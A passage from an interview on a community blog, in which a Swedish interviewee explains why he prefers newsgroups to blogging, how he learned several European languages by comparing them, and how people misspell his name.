    Of course, it's all a matter of priorities. But I don't follow any blogs myself, and call me an old fart, but I have not really understood all this blogging hype. In the end, it seems a bit unstructured to me. I have seen blog authors ask about things they had posted themselves in their blog some months back...

    So I prefer to answer questions on the newsgroups, and when time permits compose longer articles for my web site.

    I understand that you speak a lot of languages, what is your fascination with languages?

    I live in a small country, so I know that my own language is not enough.

    What particularly interests me with languages is how they relate to each other, how the differ from each other in a systematic way. I learnt French in school, and then I learnt Italian on my own with help of my knowledge in French. I spent a summer in Italy when I was a student, and studied transformation rules, so that if I saw a word in Italian I could see how the word would be in French, and thereby get the meaning of the word.

    And I would not really say that I speak a lot of languages. Beside English and Swedish, I can speak German, French, Italian and to some extent Spanish. There are a few more languages that I can read with some difficulty. But they are all Germanic or Romance languages. From other language families... I've studied some Polish and Russian but far from enough to claim that I speak them. Still, it is fascinating how even wee bits of knowledge can be useful. I was travelling in Bulgaria - a very nice country - and that small knowledge of Slavic was really useful for me.

    How many variants of you name have been offered?  James Luetkehoelter  has a long list of mispronunciations.  I bet that you have some beauties too - especially from the states.

    I haven't kept a count, but I don't think it's that many. "Sommerskog" is probably the most common. Strangely, I seem to see this as often from fellow Swedes than from abroad. Since "Sommar-" simply is Swedish for "summer", one would think that they can't fail.

    What is a little more puzzling to me is that so many English-speaking people get my first name flat wrong - they call me Eric!

This Blog

Syndication

Powered by Community Server (Commercial Edition), by Telligent Systems
  Privacy Statement